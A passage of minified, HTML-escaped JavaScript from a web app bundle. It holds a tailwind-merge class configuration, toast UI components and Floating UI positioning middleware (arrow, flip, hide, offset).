}],&quot;gradient-via-pos&quot;:[{via:[y]}],&quot;gradient-to-pos&quot;:[{to:[y]}],&quot;gradient-from&quot;:[{from:[A]}],&quot;gradient-via&quot;:[{via:[A]}],&quot;gradient-to&quot;:[{to:[A]}],rounded:[{rounded:[s]}],&quot;rounded-s&quot;:[{&quot;rounded-s&quot;:[s]}],&quot;rounded-e&quot;:[{&quot;rounded-e&quot;:[s]}],&quot;rounded-t&quot;:[{&quot;rounded-t&quot;:[s]}],&quot;rounded-r&quot;:[{&quot;rounded-r&quot;:[s]}],&quot;rounded-b&quot;:[{&quot;rounded-b&quot;:[s]}],&quot;rounded-l&quot;:[{&quot;rounded-l&quot;:[s]}],&quot;rounded-ss&quot;:[{&quot;rounded-ss&quot;:[s]}],&quot;rounded-se&quot;:[{&quot;rounded-se&quot;:[s]}],&quot;rounded-ee&quot;:[{&quot;rounded-ee&quot;:[s]}],&quot;rounded-es&quot;:[{&quot;rounded-es&quot;:[s]}],&quot;rounded-tl&quot;:[{&quot;rounded-tl&quot;:[s]}],&quot;rounded-tr&quot;:[{&quot;rounded-tr&quot;:[s]}],&quot;rounded-br&quot;:[{&quot;rounded-br&quot;:[s]}],&quot;rounded-bl&quot;:[{&quot;rounded-bl&quot;:[s]}],&quot;border-w&quot;:[{border:[l]}],&quot;border-w-x&quot;:[{&quot;border-x&quot;:[l]}],&quot;border-w-y&quot;:[{&quot;border-y&quot;:[l]}],&quot;border-w-s&quot;:[{&quot;border-s&quot;:[l]}],&quot;border-w-e&quot;:[{&quot;border-e&quot;:[l]}],&quot;border-w-t&quot;:[{&quot;border-t&quot;:[l]}],&quot;border-w-r&quot;:[{&quot;border-r&quot;:[l]}],&quot;border-w-b&quot;:[{&quot;border-b&quot;:[l]}],&quot;border-w-l&quot;:[{&quot;border-l&quot;:[l]}],&quot;border-opacity&quot;:[{&quot;border-opacity&quot;:[j]}],&quot;border-style&quot;:[{border:[...G(),&quot;hidden&quot;]}],&quot;divide-x&quot;:[{&quot;divide-x&quot;:[l]}],&quot;divide-x-reverse&quot;:[&quot;divide-x-reverse&quot;],&quot;divide-y&quot;:[{&quot;divide-y&quot;:[l]}],&quot;divide-y-reverse&quot;:[&quot;divide-y-reverse&quot;],&quot;divide-opacity&quot;:[{&quot;divide-opacity&quot;:[j]}],&quot;divide-style&quot;:[{divide:G()}],&quot;border-color&quot;:[{border:[i]}],&quot;border-color-x&quot;:[{&quot;border-x&quot;:[i]}],&quot;border-color-y&quot;:[{&quot;border-y&quot;:[i]}],&quot;border-color-s&quot;:[{&quot;border-s&quot;:[i]}],&quot;border-color-e&quot;:[{&quot;border-e&quot;:[i]}],&quot;border-color-t&quot;:[{&quot;border-t&quot;:[i]}],&quot;border-color-r&quot;:[{&quot;border-r&quot;:[i]}],&quot;border-color-b&quot;:[{&quot;border-b&quot;:[i]}],&quot;border-color-l&quot;:[{&quot;border-l&quot;:[i]}],&quot;divide-color&quot;:[{divide:[i]}],&quot;outline-style&quot;:[{outline:[&quot;&quot;,...G()]}],&quot;outline-offset&quot;:[{&quot;outline-offset&quot;:[Tf,Fn]}],&quot;outline-w&quot;:[{outline:[Tf,Gh]}],&quot;outline-color&quot;:[{outline:[e]}],&quot;ring-w&quot;:[{ring:L()}],&quot;ring-w-inset&quot;:[&quot;ring-inset&quot;],&quot;ring-color&quot;:[{ring:[e]}],&quot;ring-opacity&quot;:[{&quot;ring-opacity&quot;:[j]}],&quot;ring-offset-w&quot;:[{&quot;ring-offset&quot;:[Tf,Gh]}],&quot;ring-offset-color&quot;:[{&quot;ring-offset&quot;:[e]}],shadow:[{shadow:[&quot;&quot;,&quot;inner&quot;,&quot;none&quot;,Vh,aoe]}],&quot;shadow-color&quot;:[{shadow:[Cx]}],opacity:[{opacity:[j]}],&quot;mix-blend&quot;:[{&quot;mix-blend&quot;:[...J(),&quot;plus-lighter&quot;,&quot;plus-darker&quot;]}],&quot;bg-blend&quot;:[{&quot;bg-blend&quot;:J()}],filter:[{filter:[&quot;&quot;,&quot;none&quot;]}],blur:[{blur:[r]}],brightness:[{brightness:[n]}],contrast:[{contrast:[c]}],&quot;drop-shadow&quot;:[{&quot;drop-shadow&quot;:[&quot;&quot;,&quot;none&quot;,Vh,Fn]}],grayscale:[{grayscale:[d]}],&quot;hue-rotate&quot;:[{&quot;hue-rotate&quot;:[u]}],invert:[{invert:[h]}],saturate:[{saturate:[S]}],sepia:[{sepia:[C]}],&quot;backdrop-filter&quot;:[{&quot;backdrop-filter&quot;:[&quot;&quot;,&quot;none&quot;]}],&quot;backdrop-blur&quot;:[{&quot;backdrop-blur&quot;:[r]}],&quot;backdrop-brightness&quot;:[{&quot;backdrop-brightness&quot;:[n]}],&quot;backdrop-contrast&quot;:[{&quot;backdrop-contrast&quot;:[c]}],&quot;backdrop-grayscale&quot;:[{&quot;backdrop-grayscale&quot;:[d]}],&quot;backdrop-hue-rotate&quot;:[{&quot;backdrop-hue-rotate&quot;:[u]}],&quot;backdrop-invert&quot;:[{&quot;backdrop-invert&quot;:[h]}],&quot;backdrop-opacity&quot;:[{&quot;backdrop-opacity&quot;:[j]}],&quot;backdrop-saturate&quot;:[{&quot;backdrop-saturate&quot;:[S]}],&quot;backdrop-sepia&quot;:[{&quot;backdrop-sepia&quot;:[C]}],&quot;border-collapse&quot;:[{border:[&quot;collapse&quot;,&quot;separate&quot;]}],&quot;border-spacing&quot;:[{&quot;border-spacing&quot;:[o]}],&quot;border-spacing-x&quot;:[{&quot;border-spacing-x&quot;:[o]}],&quot;border-spacing-y&quot;:[{&quot;border-spacing-y&quot;:[o]}],&quot;table-layout&quot;:[{table:[&quot;auto&quot;,&quot;fixed&quot;]}],caption:[{caption:[&quot;top&quot;,&quot;bottom&quot;]}],transition:[{transition:[&quot;none&quot;,&quot;all&quot;,&quot;&quot;,&quot;colors&quot;,&quot;opacity&quot;,&quot;shadow&quot;,&quot;transform&quot;,Fn]}],duration:[{duration:V()}],ease:[{ease:[&quot;linear&quot;,&quot;in&quot;,&quot;out&quot;,&quot;in-out&quot;,Fn]}],delay:[{delay:V()}],animate:[{animate:[&quot;none&quot;,&quot;spin&quot;,&quot;ping&quot;,&quot;pulse&quot;,&quot;bounce&quot;,Fn]}],transform:[{transform:[&quot;&quot;,&quot;gpu&quot;,&quot;none&quot;]}],scale:[{scale:[_]}],&quot;scale-x&quot;:[{&quot;scale-x&quot;:[_]}],&quot;scale-y&quot;:[{&quot;scale-y&quot;:[_]}],rotate:[{rotate:[Ex,Fn]}],&quot;translate-x&quot;:[{&quot;translate-x&quot;:[T]}],&quot;translate-y&quot;:[{&quot;translate-y&quot;:[T]}],&quot;skew-x&quot;:[{&quot;skew-x&quot;:[Q]}],&quot;skew-y&quot;:[{&quot;skew-y&quot;:[Q]}],&quot;transform-origin&quot;:[{origin:[&quot;center&quot;,&quot;top&quot;,&quot;top-right&quot;,&quot;right&quot;,&quot;bottom-right&quot;,&quot;bottom&quot;,&quot;bottom-left&quot;,&quot;left&quot;,&quot;top-left&quot;,Fn]}],accent:[{accent:[&quot;auto&quot;,e]}],appearance:[{appearance:[&quot;none&quot;,&quot;auto&quot;]}],cursor:[{cursor:[&quot;auto&quot;,&quot;default&quot;,&quot;pointer&quot;,&quot;wait&quot;,&quot;text&quot;,&quot;move&quot;,&quot;help&quot;,&quot;not-allowed&quot;,&quot;none&quot;,&quot;context-menu&quot;,&quot;progress&quot;,&quot;cell&quot;,&quot;crosshair&quot;,&quot;vertical-text&quot;,&quot;alias&quot;,&quot;copy&quot;,&quot;no-drop&quot;,&quot;grab&quot;,&quot;grabbing&quot;,&quot;all-scroll&quot;,&quot;col-resize&quot;,&quot;row-resize&quot;,&quot;n-resize&quot;,&quot;e-resize&quot;,&quot;s-resize&quot;,&quot;w-resize&quot;,&quot;ne-resize&quot;,&quot;nw-resize&quot;,&quot;se-resize&quot;,&quot;sw-resize&quot;,&quot;ew-resize&quot;,&quot;ns-resize&quot;,&quot;nesw-resize&quot;,&quot;nwse-resize&quot;,&quot;zoom-in&quot;,&quot;zoom-out&quot;,Fn]}],&quot;caret-color&quot;:[{caret:[e]}],&quot;pointer-events&quot;:[{&quot;pointer-events&quot;:[&quot;none&quot;,&quot;auto&quot;]}],resize:[{resize:[&quot;none&quot;,&quot;y&quot;,&quot;x&quot;,&quot;&quot;]}],&quot;scroll-behavior&quot;:[{scroll:[&quot;auto&quot;,&quot;smooth&quot;]}],&quot;scroll-m&quot;:[{&quot;scroll-m&quot;:P()}],&quot;scroll-mx&quot;:[{&quot;scroll-mx&quot;:P()}],&quot;scroll-my&quot;:[{&quot;scroll-my&quot;:P()}],&quot;scroll-ms&quot;:[{&quot;scroll-ms&quot;:P()}],&quot;scroll-me&quot;:[{&quot;scroll-me&quot;:P()}],&quot;scroll-mt&quot;:[{&quot;scroll-mt&quot;:P()}],&quot;scroll-mr&quot;:[{&quot;scroll-mr&quot;:P()}],&quot;scroll-mb&quot;:[{&quot;scroll-mb&quot;:P()}],&quot;scroll-ml&quot;:[{&quot;scroll-ml&quot;:P()}],&quot;scroll-p&quot;:[{&quot;scroll-p&quot;:P()}],&quot;scroll-px&quot;:[{&quot;scroll-px&quot;:P()}],&quot;scroll-py&quot;:[{&quot;scroll-py&quot;:P()}],&quot;scroll-ps&quot;:[{&quot;scroll-ps&quot;:P()}],&quot;scroll-pe&quot;:[{&quot;scroll-pe&quot;:P()}],&quot;scroll-pt&quot;:[{&quot;scroll-pt&quot;:P()}],&quot;scroll-pr&quot;:[{&quot;scroll-pr&quot;:P()}],&quot;scroll-pb&quot;:[{&quot;scroll-pb&quot;:P()}],&quot;scroll-pl&quot;:[{&quot;scroll-pl&quot;:P()}],&quot;snap-align&quot;:[{snap:[&quot;start&quot;,&quot;end&quot;,&quot;center&quot;,&quot;align-none&quot;]}],&quot;snap-stop&quot;:[{snap:[&quot;normal&quot;,&quot;always&quot;]}],&quot;snap-type&quot;:[{snap:[&quot;none&quot;,&quot;x&quot;,&quot;y&quot;,&quot;both&quot;]}],&quot;snap-strictness&quot;:[{snap:[&quot;mandatory&quot;,&quot;proximity&quot;]}],touch:[{touch:[&quot;auto&quot;,&quot;none&quot;,&quot;manipulation&quot;]}],&quot;touch-x&quot;:[{&quot;touch-pan&quot;:[&quot;x&quot;,&quot;left&quot;,&quot;right&quot;]}],&quot;touch-y&quot;:[{&quot;touch-pan&quot;:[&quot;y&quot;,&quot;up&quot;,&quot;down&quot;]}],&quot;touch-pz&quot;:[&quot;touch-pinch-zoom&quot;],select:[{select:[&quot;none&quot;,&quot;text&quot;,&quot;all&quot;,&quot;auto&quot;]}],&quot;will-change&quot;:[{&quot;will-change&quot;:[&quot;auto&quot;,&quot;scroll&quot;,&quot;contents&quot;,&quot;transform&quot;,Fn]}],fill:[{fill:[e,&quot;none&quot;]}],&quot;stroke-w&quot;:[{stroke:[Tf,Gh,mI]}],stroke:[{stroke:[e,&quot;none&quot;]}],sr:[&quot;sr-only&quot;,&quot;not-sr-only&quot;],&quot;forced-color-adjust&quot;:[{&quot;forced-color-adjust&quot;:[&quot;auto&quot;,&quot;none&quot;]}]},conflictingClassGroups:{overflow:[&quot;overflow-x&quot;,&quot;overflow-y&quot;],overscroll:[&quot;overscroll-x&quot;,&quot;overscroll-y&quot;],inset:[&quot;inset-x&quot;,&quot;inset-y&quot;,&quot;start&quot;,&quot;end&quot;,&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;],&quot;inset-x&quot;:[&quot;right&quot;,&quot;left&quot;],&quot;inset-y&quot;:[&quot;top&quot;,&quot;bottom&quot;],flex:[&quot;basis&quot;,&quot;grow&quot;,&quot;shrink&quot;],gap:[&quot;gap-x&quot;,&quot;gap-y&quot;],p:[&quot;px&quot;,&quot;py&quot;,&quot;ps&quot;,&quot;pe&quot;,&quot;pt&quot;,&quot;pr&quot;,&quot;pb&quot;,&quot;pl&quot;],px:[&quot;pr&quot;,&quot;pl&quot;],py:[&quot;pt&quot;,&quot;pb&quot;],m:[&quot;mx&quot;,&quot;my&quot;,&quot;ms&quot;,&quot;me&quot;,&quot;mt&quot;,&quot;mr&quot;,&quot;mb&quot;,&quot;ml&quot;],mx:[&quot;mr&quot;,&quot;ml&quot;],my:[&quot;mt&quot;,&quot;mb&quot;],size:[&quot;w&quot;,&quot;h&quot;],&quot;font-size&quot;:[&quot;leading&quot;],&quot;fvn-normal&quot;:[&quot;fvn-ordinal&quot;,&quot;fvn-slashed-zero&quot;,&quot;fvn-figure&quot;,&quot;fvn-spacing&quot;,&quot;fvn-fraction&quot;],&quot;fvn-ordinal&quot;:[&quot;fvn-normal&quot;],&quot;fvn-slashed-zero&quot;:[&quot;fvn-normal&quot;],&quot;fvn-figure&quot;:[&quot;fvn-normal&quot;],&quot;fvn-spacing&quot;:[&quot;fvn-normal&quot;],&quot;fvn-fraction&quot;:[&quot;fvn-normal&quot;],&quot;line-clamp&quot;:[&quot;display&quot;,&quot;overflow&quot;],rounded:[&quot;rounded-s&quot;,&quot;rounded-e&quot;,&quot;rounded-t&quot;,&quot;rounded-r&quot;,&quot;rounded-b&quot;,&quot;rounded-l&quot;,&quot;rounded-ss&quot;,&quot;rounded-se&quot;,&quot;rounded-ee&quot;,&quot;rounded-es&quot;,&quot;rounded-tl&quot;,&quot;rounded-tr&quot;,&quot;rounded-br&quot;,&quot;rounded-bl&quot;],&quot;rounded-s&quot;:[&quot;rounded-ss&quot;,&quot;rounded-es&quot;],&quot;rounded-e&quot;:[&quot;rounded-se&quot;,&quot;rounded-ee&quot;],&quot;rounded-t&quot;:[&quot;rounded-tl&quot;,&quot;rounded-tr&quot;],&quot;rounded-r&quot;:[&quot;rounded-tr&quot;,&quot;rounded-br&quot;],&quot;rounded-b&quot;:[&quot;rounded-br&quot;,&quot;rounded-bl&quot;],&quot;rounded-l&quot;:[&quot;rounded-tl&quot;,&quot;rounded-bl&quot;],&quot;border-spacing&quot;:[&quot;border-spacing-x&quot;,&quot;border-spacing-y&quot;],&quot;border-w&quot;:[&quot;border-w-s&quot;,&quot;border-w-e&quot;,&quot;border-w-t&quot;,&quot;border-w-r&quot;,&quot;border-w-b&quot;,&quot;border-w-l&quot;],&quot;border-w-x&quot;:[&quot;border-w-r&quot;,&quot;border-w-l&quot;],&quot;border-w-y&quot;:[&quot;border-w-t&quot;,&quot;border-w-b&quot;],&quot;border-color&quot;:[&quot;border-color-s&quot;,&quot;border-color-e&quot;,&quot;border-color-t&quot;,&quot;border-color-r&quot;,&quot;border-color-b&quot;,&quot;border-color-l&quot;],&quot;border-color-x&quot;:[&quot;border-color-r&quot;,&quot;border-color-l&quot;],&quot;border-color-y&quot;:[&quot;border-color-t&quot;,&quot;border-color-b&quot;],&quot;scroll-m&quot;:[&quot;scroll-mx&quot;,&quot;scroll-my&quot;,&quot;scroll-ms&quot;,&quot;scroll-me&quot;,&quot;scroll-mt&quot;,&quot;scroll-mr&quot;,&quot;scroll-mb&quot;,&quot;scroll-ml&quot;],&quot;scroll-mx&quot;:[&quot;scroll-mr&quot;,&quot;scroll-ml&quot;],&quot;scroll-my&quot;:[&quot;scroll-mt&quot;,&quot;scroll-mb&quot;],&quot;scroll-p&quot;:[&quot;scroll-px&quot;,&quot;scroll-py&quot;,&quot;scroll-ps&quot;,&quot;scroll-pe&quot;,&quot;scroll-pt&quot;,&quot;scroll-pr&quot;,&quot;scroll-pb&quot;,&quot;scroll-pl&quot;],&quot;scroll-px&quot;:[&quot;scroll-pr&quot;,&quot;scroll-pl&quot;],&quot;scroll-py&quot;:[&quot;scroll-pt&quot;,&quot;scroll-pb&quot;],touch:[&quot;touch-x&quot;,&quot;touch-y&quot;,&quot;touch-pz&quot;],&quot;touch-x&quot;:[&quot;touch&quot;],&quot;touch-y&quot;:[&quot;touch&quot;],&quot;touch-pz&quot;:[&quot;touch&quot;]},conflictingClassGroupModifiers:{&quot;font-size&quot;:[&quot;leading&quot;]}}},uoe=qse(coe);function nr(...e){return uoe(hL(e))}const doe=Xae,wL=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(sL,{ref:r,className:nr(&quot;fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]&quot;,e),...t}));wL.displayName=sL.displayName;const foe=Dg(&quot;group pointer-events-auto relative flex w-full items-center justify-between space-x-4 overflow-hidden rounded-md border p-6 pr-8 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full&quot;,{variants:{variant:{default:&quot;border bg-background text-foreground&quot;,destructive:&quot;destructive group border-destructive bg-destructive text-destructive-foreground&quot;}},defaultVariants:{variant:&quot;default&quot;}}),EL=I.forwardRef(({className:e,variant:t,...r},n)=&gt;a.jsx(oL,{ref:n,className:nr(foe({variant:t}),e),...r}));EL.displayName=oL.displayName;const hoe=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(uL,{ref:r,className:nr(&quot;inline-flex h-8 shrink-0 items-center justify-center rounded-md border bg-transparent px-3 text-sm font-medium ring-offset-background transition-colors hover:bg-secondary focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-muted/40 group-[.destructive]:hover:border-destructive/30 group-[.destructive]:hover:bg-destructive group-[.destructive]:hover:text-destructive-foreground group-[.destructive]:focus:ring-destructive&quot;,e),...t}));hoe.displayName=uL.displayName;const CL=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(dL,{ref:r,className:nr(&quot;absolute right-2 top-2 rounded-md p-1 text-foreground/50 opacity-0 transition-opacity hover:text-foreground focus:opacity-100 focus:outline-none focus:ring-2 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600&quot;,e),&quot;toast-close&quot;:&quot;&quot;,...t,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})}));CL.displayName=dL.displayName;const IL=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(lL,{ref:r,className:nr(&quot;text-sm font-semibold&quot;,e),...t}));IL.displayName=lL.displayName;const jL=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(cL,{ref:r,className:nr(&quot;text-sm opacity-90&quot;,e),...t}));jL.displayName=cL.displayName;function NL(){const{toasts:e}=Er();return a.jsxs(doe,{children:[(e||[]).map(function({id:t,title:r,description:n,action:i,...s}){return a.jsxs(EL,{...s,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid gap-1&quot;,children:[r&amp;&amp;a.jsx(IL,{children:r}),n&amp;&amp;a.jsx(jL,{children:n})]}),i,a.jsx(CL,{})]},t)}),a.jsx(wL,{})]})}var moe=l4[&quot; useId &quot;.trim().toString()]||(()=&gt;{}),poe=0;function su(e){const[t,r]=I.useState(moe());return zs(()=&gt;{r(n=&gt;n??String(poe++))},[e]),t?`radix-${t}`:&quot;&quot;}const goe=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;],Bm=Math.min,nu=Math.max,tw=Math.round,G2=Math.floor,$d=e=&gt;({x:e,y:e}),Aoe={left:&quot;right&quot;,right:&quot;left&quot;,bottom:&quot;top&quot;,top:&quot;bottom&quot;},xoe={start:&quot;end&quot;,end:&quot;start&quot;};function eN(e,t,r){return nu(e,Bm(t,r))}function Zf(e,t){return typeof e==&quot;function&quot;?e(t):e}function Jf(e){return e.split(&quot;-&quot;)[0]}function H1(e){return e.split(&quot;-&quot;)[1]}function H6(e){return e===&quot;x&quot;?&quot;y&quot;:&quot;x&quot;}function q6(e){return e===&quot;y&quot;?&quot;height&quot;:&quot;width&quot;}const voe=new Set([&quot;top&quot;,&quot;bottom&quot;]);function Fd(e){return voe.has(Jf(e))?&quot;y&quot;:&quot;x&quot;}function G6(e){return H6(Fd(e))}function yoe(e,t,r){r===void 0&amp;&amp;(r=!1);const n=H1(e),i=G6(e),s=q6(i);let o=i===&quot;x&quot;?n===(r?&quot;end&quot;:&quot;start&quot;)?&quot;right&quot;:&quot;left&quot;:n===&quot;start&quot;?&quot;bottom&quot;:&quot;top&quot;;return t.reference[s]&gt;t.floating[s]&amp;&amp;(o=rw(o)),[o,rw(o)]}function boe(e){const t=rw(e);return[tN(e),t,tN(t)]}function tN(e){return e.replace(/start|end/g,t=&gt;xoe[t])}const HD=[&quot;left&quot;,&quot;right&quot;],qD=[&quot;right&quot;,&quot;left&quot;],woe=[&quot;top&quot;,&quot;bottom&quot;],Eoe=[&quot;bottom&quot;,&quot;top&quot;];function Coe(e,t,r){switch(e){case&quot;top&quot;:case&quot;bottom&quot;:return r?t?qD:HD:t?HD:qD;case&quot;left&quot;:case&quot;right&quot;:return t?woe:Eoe;default:return[]}}function Ioe(e,t,r,n){const i=H1(e);let s=Coe(Jf(e),r===&quot;start&quot;,n);return i&amp;&amp;(s=s.map(o=&gt;o+&quot;-&quot;+i),t&amp;&amp;(s=s.concat(s.map(tN)))),s}function rw(e){return e.replace(/left|right|bottom|top/g,t=&gt;Aoe[t])}function joe(e){return{top:0,right:0,bottom:0,left:0,...e}}function SL(e){return typeof e!=&quot;number&quot;?joe(e):{top:e,right:e,bottom:e,left:e}}function nw(e){const{x:t,y:r,width:n,height:i}=e;return{width:n,height:i,top:r,left:t,right:t+n,bottom:r+i,x:t,y:r}}function GD(e,t,r){let{reference:n,floating:i}=e;const s=Fd(t),o=G6(t),l=q6(o),c=Jf(t),d=s===&quot;y&quot;,u=n.x+n.width/2-i.width/2,h=n.y+n.height/2-i.height/2,p=n[l]/2-i[l]/2;let A;switch(c){case&quot;top&quot;:A={x:u,y:n.y-i.height};break;case&quot;bottom&quot;:A={x:u,y:n.y+n.height};break;case&quot;right&quot;:A={x:n.x+n.width,y:h};break;case&quot;left&quot;:A={x:n.x-i.width,y:h};break;default:A={x:n.x,y:n.y}}switch(H1(t)){case&quot;start&quot;:A[o]-=p*(r&amp;&amp;d?-1:1);break;case&quot;end&quot;:A[o]+=p*(r&amp;&amp;d?-1:1);break}return A}const Noe=async(e,t,r)=&gt;{const{placement:n=&quot;bottom&quot;,strategy:i=&quot;absolute&quot;,middleware:s=[],platform:o}=r,l=s.filter(Boolean),c=await(o.isRTL==null?void 0:o.isRTL(t));let d=await o.getElementRects({reference:e,floating:t,strategy:i}),{x:u,y:h}=GD(d,n,c),p=n,A={},y=0;for(let v=0;v&lt;l.length;v++){const{name:w,fn:j}=l[v],{x:E,y:S,data:_,reset:C}=await j({x:u,y:h,initialPlacement:n,placement:p,strategy:i,middlewareData:A,rects:d,platform:o,elements:{reference:e,floating:t}});u=E??u,h=S??h,A={...A,[w]:{...A[w],..._}},C&amp;&amp;y&lt;=50&amp;&amp;(y++,typeof C==&quot;object&quot;&amp;&amp;(C.placement&amp;&amp;(p=C.placement),C.rects&amp;&amp;(d=C.rects===!0?await o.getElementRects({reference:e,floating:t,strategy:i}):C.rects),{x:u,y:h}=GD(d,p,c)),v=-1)}return{x:u,y:h,placement:p,strategy:i,middlewareData:A}};async function dv(e,t){var r;t===void 0&amp;&amp;(t={});const{x:n,y:i,platform:s,rects:o,elements:l,strategy:c}=e,{boundary:d=&quot;clippingAncestors&quot;,rootBoundary:u=&quot;viewport&quot;,elementContext:h=&quot;floating&quot;,altBoundary:p=!1,padding:A=0}=Zf(t,e),y=SL(A),w=l[p?h===&quot;floating&quot;?&quot;reference&quot;:&quot;floating&quot;:h],j=nw(await s.getClippingRect({element:(r=await(s.isElement==null?void 0:s.isElement(w)))==null||r?w:w.contextElement||await(s.getDocumentElement==null?void 0:s.getDocumentElement(l.floating)),boundary:d,rootBoundary:u,strategy:c})),E=h===&quot;floating&quot;?{x:n,y:i,width:o.floating.width,height:o.floating.height}:o.reference,S=await(s.getOffsetParent==null?void 0:s.getOffsetParent(l.floating)),_=await(s.isElement==null?void 0:s.isElement(S))?await(s.getScale==null?void 0:s.getScale(S))||{x:1,y:1}:{x:1,y:1},C=nw(s.convertOffsetParentRelativeRectToViewportRelativeRect?await s.convertOffsetParentRelativeRectToViewportRelativeRect({elements:l,rect:E,offsetParent:S,strategy:c}):E);return{top:(j.top-C.top+y.top)/_.y,bottom:(C.bottom-j.bottom+y.bottom)/_.y,left:(j.left-C.left+y.left)/_.x,right:(C.right-j.right+y.right)/_.x}}const Soe=e=&gt;({name:&quot;arrow&quot;,options:e,async fn(t){const{x:r,y:n,placement:i,rects:s,platform:o,elements:l,middlewareData:c}=t,{element:d,padding:u=0}=Zf(e,t)||{};if(d==null)return{};const h=SL(u),p={x:r,y:n},A=G6(i),y=q6(A),v=await o.getDimensions(d),w=A===&quot;y&quot;,j=w?&quot;top&quot;:&quot;left&quot;,E=w?&quot;bottom&quot;:&quot;right&quot;,S=w?&quot;clientHeight&quot;:&quot;clientWidth&quot;,_=s.reference[y]+s.reference[A]-p[A]-s.floating[y],C=p[A]-s.reference[A],Q=await(o.getOffsetParent==null?void 0:o.getOffsetParent(d));let R=Q?Q[S]:0;(!R||!await(o.isElement==null?void 0:o.isElement(Q)))&amp;&amp;(R=l.floating[S]||s.floating[y]);const T=_/2-C/2,M=R/2-v[y]/2-1,O=Bm(h[j],M),$=Bm(h[E],M),P=O,L=R-v[y]-$,X=R/2-v[y]/2+T,W=eN(P,X,L),G=!c.arrow&amp;&amp;H1(i)!=null&amp;&amp;X!==W&amp;&amp;s.reference[y]/2-(X&lt;P?O:$)-v[y]/2&lt;0,J=G?X&lt;P?X-P:X-L:0;return{[A]:p[A]+J,data:{[A]:W,centerOffset:X-W-J,...G&amp;&amp;{alignmentOffset:J}},reset:G}}}),Boe=function(e){return e===void 0&amp;&amp;(e={}),{name:&quot;flip&quot;,options:e,async fn(t){var r,n;const{placement:i,middlewareData:s,rects:o,initialPlacement:l,platform:c,elements:d}=t,{mainAxis:u=!0,crossAxis:h=!0,fallbackPlacements:p,fallbackStrategy:A=&quot;bestFit&quot;,fallbackAxisSideDirection:y=&quot;none&quot;,flipAlignment:v=!0,...w}=Zf(e,t);if((r=s.arrow)!=null&amp;&amp;r.alignmentOffset)return{};const j=Jf(i),E=Fd(l),S=Jf(l)===l,_=await(c.isRTL==null?void 0:c.isRTL(d.floating)),C=p||(S||!v?[rw(l)]:boe(l)),Q=y!==&quot;none&quot;;!p&amp;&amp;Q&amp;&amp;C.push(...Ioe(l,v,y,_));const R=[l,...C],T=await dv(t,w),M=[];let O=((n=s.flip)==null?void 0:n.overflows)||[];if(u&amp;&amp;M.push(T[j]),h){const X=yoe(i,o,_);M.push(T[X[0]],T[X[1]])}if(O=[...O,{placement:i,overflows:M}],!M.every(X=&gt;X&lt;=0)){var $,P;const X=((($=s.flip)==null?void 0:$.index)||0)+1,W=R[X];if(W&amp;&amp;(!(h===&quot;alignment&quot;?E!==Fd(W):!1)||O.every(q=&gt;Fd(q.placement)===E?q.overflows[0]&gt;0:!0)))return{data:{index:X,overflows:O},reset:{placement:W}};let G=(P=O.filter(J=&gt;J.overflows[0]&lt;=0).sort((J,q)=&gt;J.overflows[1]-q.overflows[1])[0])==null?void 0:P.placement;if(!G)switch(A){case&quot;bestFit&quot;:{var L;const J=(L=O.filter(q=&gt;{if(Q){const ee=Fd(q.placement);return ee===E||ee===&quot;y&quot;}return!0}).map(q=&gt;[q.placement,q.overflows.filter(ee=&gt;ee&gt;0).reduce((ee,ne)=&gt;ee+ne,0)]).sort((q,ee)=&gt;q[1]-ee[1])[0])==null?void 0:L[0];J&amp;&amp;(G=J);break}case&quot;initialPlacement&quot;:G=l;break}if(i!==G)return{reset:{placement:G}}}return{}}}};function VD(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function WD(e){return goe.some(t=&gt;e[t]&gt;=0)}const koe=function(e){return e===void 0&amp;&amp;(e={}),{name:&quot;hide&quot;,options:e,async fn(t){const{rects:r}=t,{strategy:n=&quot;referenceHidden&quot;,...i}=Zf(e,t);switch(n){case&quot;referenceHidden&quot;:{const s=await dv(t,{...i,elementContext:&quot;reference&quot;}),o=VD(s,r.reference);return{data:{referenceHiddenOffsets:o,referenceHidden:WD(o)}}}case&quot;escaped&quot;:{const s=await dv(t,{...i,altBoundary:!0}),o=VD(s,r.floating);return{data:{escapedOffsets:o,escaped:WD(o)}}}default:return{}}}}},BL=new Set([&quot;left&quot;,&quot;top&quot;]);async function _oe(e,t){const{placement:r,platform:n,elements:i}=e,s=await(n.isRTL==null?void 0:n.isRTL(i.floating)),o=Jf(r),l=H1(r),c=Fd(r)===&quot;y&quot;,d=BL.has(o)?-1:1,u=s&amp;&amp;c?-1:1,h=Zf(t,e);let{mainAxis:p,crossAxis:A,alignmentAxis:y}=typeof h==&quot;number&quot;?{mainAxis:h,crossAxis:0,alignmentAxis:null}:{mainAxis:h.mainAxis||0,crossAxis:h.crossAxis||0,alignmentAxis:h.alignmentAxis};return l&amp;&amp;typeof y==&quot;number&quot;&amp;&amp;(A=l===&quot;end&quot;?y*-1:y),c?{x:A*u,y:p*d}:{x:p*d,y:A*u}}const Doe=function(e){return e===void 0&amp;&amp;(e=0),{name:&quot;offset&quot;,options:e,async fn(t){var r,n;const{x:i,y:s,placement:o,middlewareData:l}=t,c=await _oe(t,e);return o===((r=l.offset)==null?void 